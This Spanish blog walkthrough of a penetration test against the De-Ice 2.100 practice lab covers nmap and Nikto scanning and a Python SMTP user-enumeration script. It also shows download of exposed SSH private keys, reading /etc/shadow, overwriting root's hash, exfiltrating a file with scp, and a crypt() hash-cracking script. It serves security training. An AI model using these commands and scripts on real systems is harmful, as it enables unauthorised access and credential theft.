Hoy vamos a dedicarnos a hacer otro ejemplo práctico de test de penetración. Para ello, vamos a utilizar la versión 2.100 del entorno De-Ice del cual ya hemos visto algún ejemplo con anterioridad. La imagen ISO del entorno la podéis encontrar aquí y, al igual que las veces anteriores, es un Live CD que podéis montar como máquina virtual en algún entorno que tengáis. Yo en mi caso, lo he hecho sobre VirtualBox.
Lo primero antes de empezar, una pequeña recomendación que consiste en que para montar este entorno de forma fácil, vuestro servidor de DHCP tendrá que dar direcciones en el rango 192.168.2.0/24, ya que el Live CD cogerá la 192.168.2.100 y la 192.168.2.101.
Sin más que añadir, vamos a empezar con nuestra andadura. Si tenéis algún problema con la configuración del entorno, preguntad e intentaremos echaros una mano. Pero no considero necesario entrar aquí en detalle sobre esto, ya que hay multitud de tutoriales y manuales en internet sobre como configurar máquinas virtuales.
Añadir que yo voy a hacer todo el test desde la distribución Kali (sucesora de Backtrack), y que todas las herramientas que voy a nombrar aquí están incluidas en ella, no tendréis que instalar nada más, como mucho desarrollaremos algún pequeño script.
El primer paso tras montar el entorno, es comprobar que las máquinas están efectivamente ahí, para lo que podemos ejecutar el comando “netdiscover”:
netdiscover -r 192.168.2.0/24
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor
-----------------------------------------------------------------------------
....
192.168.2.100 08:00:27:01:b2:cb 01 060 CADMUS COMPUTER SYSTEMS
192.168.2.101 08:00:27:01:b2:cb 01 060 CADMUS COMPUTER SYSTEMS
....
Para respetar el orden en que se haría una auditoría o pentest a nivel profesional, el siguiente paso sería el de recogida de la información (information gathering), así que vamos a conectarnos a través del navegador a dichas direcciones IP para ver que encontramos.
Navegando por ellas encontramos una página interesante con un listado de trabajadores y sus correos electrónicos que nos puede ser útil para generar una posible lista de usuarios que podrían estár en el sistema. Además, encontramos varios documentos con información sobre la empresa y procedimientos, pero yo de ellos no he sacado nada en claro, así que me voy a quedar simplemente con la págína que contiene los correos electrónicos de los trabajadores:
http://192.168.2.100/index2.html
En el siguiente paso vamos a proceder al escaneado de las máquinas a ver que puertos están abiertos y que servicios nos ofrecen. Como no tenemos que preocupanos de dejar registros o no, vamos a usar NMap de forma agresiva:
nmap -sV -T Aggressive -O 192.168.2.100
....
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 2.0.4
22/tcp open ssh OpenSSH 4.3 (protocol 1.99)
25/tcp open smtp Sendmail 8.13.7/8.13.7
80/tcp open http Apache httpd 2.0.55 ((Unix) PHP/5.1.2)
110/tcp open pop3 Openwall popa3d
143/tcp open imap UW imapd 2004.357
443/tcp closed https
MAC Address: 08:00:27:01:B2:CB (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.13 - 2.6.32
....
nmap -sV -T Aggressive -O 192.168.2.101
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.0.55 ((Unix) PHP/5.1.2)
MAC Address: 08:00:27:01:B2:CB (Cadmus Computer Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.13 - 2.6.32, Linux 2.6.16
Tras esto, vemos que la máquina más interesante, a priori, parece ser la primera de ellas ya que es la que más servicios y puertos abiertos ofrece.
Con unas cuantas pruebas, vemos que los intentos de acceso anónimo son poco fructíferos, así que vamos a ver si podemos encontrar usuarios válidos del sistema.
Partiendo del listado de correos que encontramos antes vamos a generar una lista de usuarios posibles y a probarlos contra smtp (algo parecido a lo que hicimos en el entorno anterior). Para ello podríamos usar la herramienta “smtp-enum-users” o simplemente un pequeño script hecho en python (o cualquier otro lenguaje que manejéis). En este caso el script será el siguiente:
import getpass, sys, telnetlib
print "Starting users validation..."
host = "192.168.2.100"
port = 25
user_dic = "users.txt"
tn = telnetlib.Telnet(host, port)
tn.write("hello x" + "\n")
tn.write("mail from: admin@slax.example.net" + "\n")
print tn.read_until("Sender ok", 1)
inp = open(user_dic, "r")
for user in inp.readlines():
tn.write("rcpt to: "+ user)
print tn.read_until("User unknown", 0.1)
inp.close()
tn.write("quit" + "\n")
print "End process."
Y los resultados, una vez descartados los inválidos, serán los siguientes:
root
havisham
magwitch
pirrip
El siguiente paso que yo he seguido, es el de poner en funcionamiento herramientas como THC-Hydra o Medusa para intentar sacar por fuerza bruta alguna contraseña débil para poder conectar a los servicios de FTP o SSH. Pero, tras un tiempo que yo he considerado suficiente, esta técnica de fuerza bruta no me ha devuelto ningún resultado. Así que vamos a tener que tomar otro camino, ya que, a primera vista, no parece haber contaseñas débiles en el sistema.
El siguiente paso lógico, es ver si podemos encontrar alguna vulnerabilidad que podamos explotar para conseguir el acceso a este, así que con esta idea en mente, vamos a ejecutar Nikto. El cual es un conocido escáner de vulnerabilidades.
nikto -host 192.168.2.100
En los resultado podemos ver que se nos informa de cosas no actualizadas y de algún directorio que parece accesible en el servidor, pero de nada demasiado serio.
Así que vamos a probar con la otra máquina:
nikto -host 192.168.2.101
Aquí, además de la información sobre cosas no actualizadas, sí que encontramos información bastante interesante:
....
+ OSVDB-3268: /~root/: Directory indexing found.
+ OSVDB-637: /~root/: Allowed to browse root's home directory.
....
Y es que, una carpeta de usuario parece estar accesible a través de el navegador. Tras una rápida prueba podemos comprobar que esta información es correcta, aunque en el directorio no encontramos nada. Pero este hallazgo nos puede hacer pensar que, quízas, el resto de carpetas de usuarios también puedan ser accesibles.
Así que haciendo uso de Nickto otra vez, vamos a probar con las carpetas de los usuarios válidados para el sistema:
nikto -h 192.168.2.101 -r ~havisham/ -Display 124
nikto -h 192.168.2.101 -r ~magwitch/ -Display 124
nikto -h 192.168.2.101 -r ~pirrip/ -Display 124
Tras echarle un vistazo a los resultado, vemos que para el usuario “pirrip” nos devuelve un resultado positivo para el directorio “.ssh”. Vamos a nuestro navegagor, accedemos a esta ruta, y en ella encontramos dos ficheros que, a priori, parecen las llaves de acceso para la conexión ssh. Con esto, procedemos a la descarga para su análisis:
wget http://192.168.2.101/~pirrip//.ssh/id_rsa
wget http://192.168.2.101/~pirrip//.ssh/id_rsa.pub
Echamos una ojeada a su interior y…efectivamente son las llaves de acceso para el usuario pirrip. Así que con esto, vamos a intentar conectarnos como si fueramos él.
Creamos nuestro directorio “.ssh”, copiamos los dos ficheros dentro, les modificamos los permisos a “000” (la primera vez no lo hice y ssh te muestra un error con esto) y intentamos conectar:
ssh pirrip@192.168.2.100 --> OK
Estamos dentro.
El siguiente paso es intentar escalar privilegios en el sistema y conseguir acceso como superusuario, así que vamos a explorar los fichero habituales de contraseñas y grupos:
cat /etc/passwrd --> OK
pirrip:x:1000:10:Philip Pirrip:/home/pirrip:/bin/bash
cat /etc/group --> OK
wheel::10:root
cat /etc/shadow --> ERROR
cat: /etc/shadow: Permission denied
Afortunadamente, en el fichero de grupos, hemos podido ver que podemos ejecutar el comando “sudo”, así que lo intentamos de nuevo:
sudo cat /etc/shadow --> ERROR
Necesitamos la contraseña obviamente, y no la tenemos ya que accedimos con las llaves digitales.
Dado que por aquí parece que encotramos la puerta cerrado vamos a explorar un poco el sistema a ver que encontramos. Miraremos los habituales directorios interesantes: /tmp, /var/*, directorios de otros usuarios, todo lo accesible.
En el directorio de “/var/mail/” parece que encontramos algo, ya que vemos que están disponibles los emails de varios usuarios. Así que vamos a proceder a leer los nuestros (pirrip):
mailx
Vemos que tiene siete, pero sin duda los más interesantes son el número 3 y el número 7.
En el número 3, nos indica que el password de “havisham” es “changeme”. No entiendo como no lo hemos podido sacar por fuerza bruta anteriormente.
En el número 7, encontramos nuestro password en texto plano: “0l1v3rTw1st”. Normal que nuestros intentos de fuerza bruta hayan fallado.
De nuevo con el password en nuestro poder, intentamos abrir el fichero “shadow”:
sudo cat /etc/shadow --> ERROR
Sorry, user pirrip is not allowed to execute '/usr/bin/cat /etc/shadow' as root on slax.
Afortunadamente, existen muchos más editores en el sistema y tras dos o tres intentos, podemos comprobar que “more” y “vi” si que pueden ser ejecutados por nuestro usuario.
Esta vez sí:
root:$1$/Ta1Q0lT$CSY9sjWR33Re2h5ohV4MX/:13882:0:::::
....
pirrip:$1$KEj04HbT$ZTn.iEtQHcLQc6MjrG/Ig/:13882:0:99999:7:::
magwitch:$1$qG7/dIbT$HtTD946DE3ITkbrCINQvJ0:13882:0:99999:7:::
havisham:$1$qbY1hmdT$sVZn89wKvmLn0wP2JnZay1:13882:0:99999:7:::
Aquí tenemos dos opciones, poner a trabajar a John the Ripper o, ya que tenemos permisos de edición sobre el fichero, copiar nuestra contraseña que conocemos en el usuario root. Siendo esta segunda más simple y más rápida, y viendo el resultado obtenido con la fuerza bruta anteriormente, nos decantaremos por esta.
El siguiente paso, una vez que somos usuario root, es acceder a su carpeta personal, a ver si hay algo interesante guardado allí.
Tras explorar un rato, encontramos un fichero que parece interesante “great_expectations.zip”, así que lo bajamos a nuestra máquina para explorarlo tranquilamente.
chmod -R 777 /root/ (máquina objetivo)
scp pirrip@192.168.2.100:/root/.save/great_expectations.zip . (nuestra máquina)
Lo descomprimimos, y encontramos, además de un pdf y algunas imágenes, lo que parecen algunos datos financieros en un fichero de texto:
Here's the data for raises for your team:
Philip Pirrip: 734-67-0424 5.5% $74,224
Abel Magwitch: 816-03-0028 4.0% $53,122
Estella Havisham: 762-93-1073 12% $84,325
Sinceramente, esperaba algo más. Pero bueno, ahora que somos root podemos seguir explorando el sistema con más libertad.
Recordemos, por ejemplo, que nos quedaban email de otros usuarios por leer, así que vamos a ello.
Los más interesantes parecen los del usuario “havisham” en los que se nombra que el servidor FTP tiene algún problema de configuración, y además, podemos encontrar un correo en el que solicitar el password de root.
En el resto de correos no aparece nada interesante, el único dato a tener en cuenta, es que una tal “Estela” está al cargo. Quizás uniendo el email encontrado en los correos de “havisham” y esto podamos mandar un correo suplantando la identidad y solicitando el password, algo de ingeniería social.
Otro punto interesante al que llegamos explorando el sistema, es que en el servidor apache, podemos encontrar el fichero “.htpasswd” con un registro en su interior:
aadams:bS.PQ9hVYEqrQ
Buscando un poco algo sobre esto, el formato de lo que parece ser unos credenciales y leyendo algo, uno puede llegar a la conclusión de que, efectivamente son unos credenciales con el formato: <user>:<salt><ciphertext>, y que se han creado con una función llamada “crypt()”. Así que, si nos hemos recuperado ya de nuestro anterior fracaso con la fuerza bruta, podemos implementar un pequeño script en python para intentar obtener la clave:
import crypt, sys
wordlist = "wordlst.txt"
htfile = "htaccess.txt"
for line in open(htfile):
user = line.split(":")[0].strip()
ciphertext = line.split(":")[1].strip()
salt = ciphertext[:2]
print "ciphertext:", ciphertext
print "salt:", salt
for word in open(wordlist):
guess = crypt.crypt(word.strip(), salt)
if guess == ciphertext:
print " * password for %s is %s" % (user, word.strip())
sys.exit(0)
Tras un rato, la contraseña que obtenemos es “complexi”.
Y bueno, hasta aquí todo. Nos vemos.